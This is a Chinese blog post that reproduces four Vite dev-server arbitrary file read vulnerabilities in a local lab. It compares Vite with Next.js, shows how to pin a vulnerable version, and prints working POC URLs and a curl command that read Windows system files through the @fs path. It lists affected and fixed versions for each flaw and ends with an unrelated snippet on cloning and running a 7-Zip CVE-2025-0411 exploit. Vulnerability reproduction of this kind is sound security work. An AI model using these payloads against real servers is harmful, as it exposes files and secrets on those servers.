【漏洞复现】Vite 任意文件读取漏洞 CVE-2025-30208/CVE-2025-31125/CVE-2025-31486/CVE-2025-32395

Vite是什么,和Next.js有什么区别?

我上一篇文章刚介绍了Next.js漏洞的复现:

【漏洞复现】Next.js中间件权限绕过漏洞 CVE-2025-29927_next.js 中间件权限绕过漏洞-CSDN博客

Vite 和 Next.js 是两个不同类型的前端工具,它们各自的用途、架构和适用场景有所不同。

Vite 是什么?

Vite 是一个现代前端构建工具,主要用于开发和打包前端项目(如 Vue、React 等)。它由 Vue 的作者 Evan You 开发,核心特点是快速启动、按需编译,并且基于 ES 模块(ESM)。

Vite 的主要特点:

  1. 开发速度快:使用原生 ES 模块(ESM),避免了 Webpack 传统的打包后运行模式,大幅加快冷启动速度。
  2. 按需编译:只在代码变更时实时更新(HMR 热更新),而不是重新编译整个应用。
  3. 默认支持 Vue 和 React:内置支持 Vue、React、TypeScript 等,无需额外配置。
  4. 轻量 & 插件化:基于 Rollup 进行生产构建,可扩展性强。

Vite 适用于构建前端 SPA(单页应用),并不包含服务端渲染(SSR)或全栈开发能力。

Next.js 是什么?

Next.js 是一个基于 React 的全栈框架,用于构建**服务器端渲染(SSR)和静态站点生成(SSG)的 Web 应用。它由 Vercel 开发,提供了完整的路由系统、API 路由、SSR/SSG、服务端组件(Server Components)**等功能。

Next.js 的主要特点:

  1. 支持 SSR & SSG:可以根据需求选择服务端渲染(SSR)、静态生成(SSG)或客户端渲染(CSR),优化页面加载速度和 SEO。
  2. API 路由:可在 /api 目录下创建后端 API,无需单独搭建后端服务器。
  3. 自动代码拆分:按需加载页面代码,提升性能。
  4. 全栈能力:不仅是前端框架,还能处理后端逻辑(如数据库操作、身份验证等)。
  5. 支持 React Server Components:在服务器端直接渲染组件,减少客户端 JavaScript 负担。

Vite vs Next.js 的主要区别

特性ViteNext.js
类型构建工具全栈框架
适用范围仅前端(SPA 开发)全栈(前端 + 后端)
是否基于 React不是,只是支持 React是,专为 React 设计
开发体验启动快,HMR 快速需要 SSR/SSG 可能更复杂
SSR 支持需要额外插件,如 Vite SSR原生支持
API 路由不支持内置 /api 目录
SEO 友好性仅支持 CSR(客户端渲染),SEO 依赖 prerender原生支持 SEO(SSR/SSG)

如何选择?

  • 如果你只想搭建一个前端应用(如 Vue、React SPA),推荐 Vite,开发体验更快。
  • 如果你需要全栈开发(如 SSR、SSG、API 后端支持),推荐 Next.js,它是一个完整的 Web 框架。
  • 如果你喜欢 React,但不需要 SSR,想用 Vite,可以考虑 Vite + React + React Router 作为替代方案。

如何使用Vite?

开始 | Vite 官方中文文档

漏洞环境搭建

选择一个漏洞版本,使用如下命令安装(示例)

#我的环境:windows+gitbash+npx

npx create-vite@6.1.1 vulnerable-project

安装完按照提示的命令进行

  cd vulnerable-project
  npm install
  npm run dev

安装完发现一个问题:版本不对,这是配置问题,如果不做固定,会默认安装更高版本

如果没有发现版本问题,那么后续复现是出不来结果的  

问题解决:在install命令之前通过修改package.json配置文件固定版本号

删除前面的脱字符^即可

删掉整个文件夹重新来一遍(或者删掉lock文件,重新install,都行),版本处于漏洞版本,环境搭建成功

漏洞复现

Vite任意文件读取漏洞,最近披露了多个CVE,如 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486 和 CVE-2025-32395,从3月14日开始基本上是挖一个,修一个,再挖再修,主要涉及开发服务器在特定配置下的任意文件读取问题。

Vite 作为一个现代前端构建工具,因其快速开发体验和高效构建能力而广受欢迎,但近期披露的多个安全漏洞引发了社区的关注。 Vite 团队的快速响应和透明披露受到认可。未来,Vite 团队可能需要加强开发服务器的安全设计,减少类似漏洞的发生。

POC

由于我是windows环境,因此本文仅仅以windows环境做演示,以下POC仅适用windows

#CVE-2025-30208
http://localhost:5173/@fs/C://windows/win.ini?import&raw??
#CVE-2025-31125
http://localhost:5173/@fs/C://windows/win.ini?import&inline=1.wasm?init
#CVE-2025-31486
http://localhost:5173/@fs/C:/Users/Lenovo/vitetest/vulnerable-project/?/../../../../../windows/win.ini?import&?raw
#CVE-2025-32395
curl --request-target /@fs/Users/Lenovo/vitetest/vulnerable-project/#/../../../../../windows/win.ini http://localhost:5173

CVE-2025-30208

影响版本:

  • 6.2.0 <= Vite <= 6.2.2
  • 6.1.0 <= Vite <= 6.1.1
  • 6.0.0 <= Vite <= 6.0.11
  • 5.0.0 <= Vite <= 5.4.14
  • Vite <= 4.5.9

使用漏洞范围内的版本6.2.2复现结果:成功读取任意文件

6.2.3版本修复 CVE-2025-30208 

CVE-2025-31125

影响版本:

  • 6.2.0 <= Vite <= 6.2.3
  • 6.1.0 <= Vite <= 6.1.2
  • 6.0.0 <= Vite <= 6.0.12
  • 5.0.0 <= Vite <= 5.4.15
  • Vite <= 4.5.10

使用6.2.3版本:成功读取任意文件

6.2.4版本修复 CVE-2025-31125

  

CVE-2025-31486

影响版本:

  • 6.2.0 <= Vite <= 6.2.4
  • 6.1.0 <= Vite <= 6.1.3
  • 6.0.0 <= Vite <= 6.0.13
  • 5.0.0 <= Vite <= 5.4.16
  • Vite <= 4.5.11

使用6.2.4版本:成功读取任意文件 

6.2.5版本修复 CVE-2025-31486

CVE-2025-32395

影响版本:

  • 6.2.0 <= Vite <= 6.2.5
  • 6.1.0 <= Vite <= 6.1.4
  • 6.0.0 <= Vite <= 6.0.14
  • 5.0.0 <= Vite <= 5.4.17
  • Vite <= 4.5.12

使用6.2.5版本:成功读取任意文件  

6.2.6版本修复 CVE-2025-32395

 

### 复现 CVE-2025-0411 7-zip 漏洞 为了成功复现CVE-2025-0411漏洞,需遵循一系列精确的操作流程。此漏洞存在于7-zip软件中,利用了处理特定构造文件时存在的缺陷。 #### 准备工作环境 确保拥有一个安全隔离的测试环境至关重要,建议在一个专门用于实验的安全沙箱内操作。这可以防止潜在风险扩散到生产环境中[^2]。 #### 获取必要的工具和资源 访问GitHub仓库`https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC.git`下载针对该漏洞的概念验证(PoC)代码。通过克隆上述链接中的项目获取所需材料。 ```bash git clone https://github.com/dhmosfunk/7-Zip-CVE-2025-0411-POC.git cd 7-Zip-CVE-2025-0411-POC/ ``` #### 安装受影响版本的应用程序 安装易受攻击的具体版本7-zip应用程序,在执行任何进一步步骤之前确认已正确设置目标应用及其依赖项。 #### 执行PoC脚本 按照README文档指示运行所提供的Python脚本来触发漏洞行为并观察其效果。通常情况下会有一个简单的命令行指令来启动测试过程: ```bash python exploit.py ``` 请注意,实际输出可能因具体实施细节而异;务必参照官方说明进行调整以适应不同场景下的需求。 #### 验证结果 一旦完成以上各阶段的工作,则应该能够看到预期的结果——即证明存在描述的安全隐患。然而重要的是要记住仅限于合法授权范围内开展此类活动,并始终采取适当措施保护个人隐私与数据安全
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值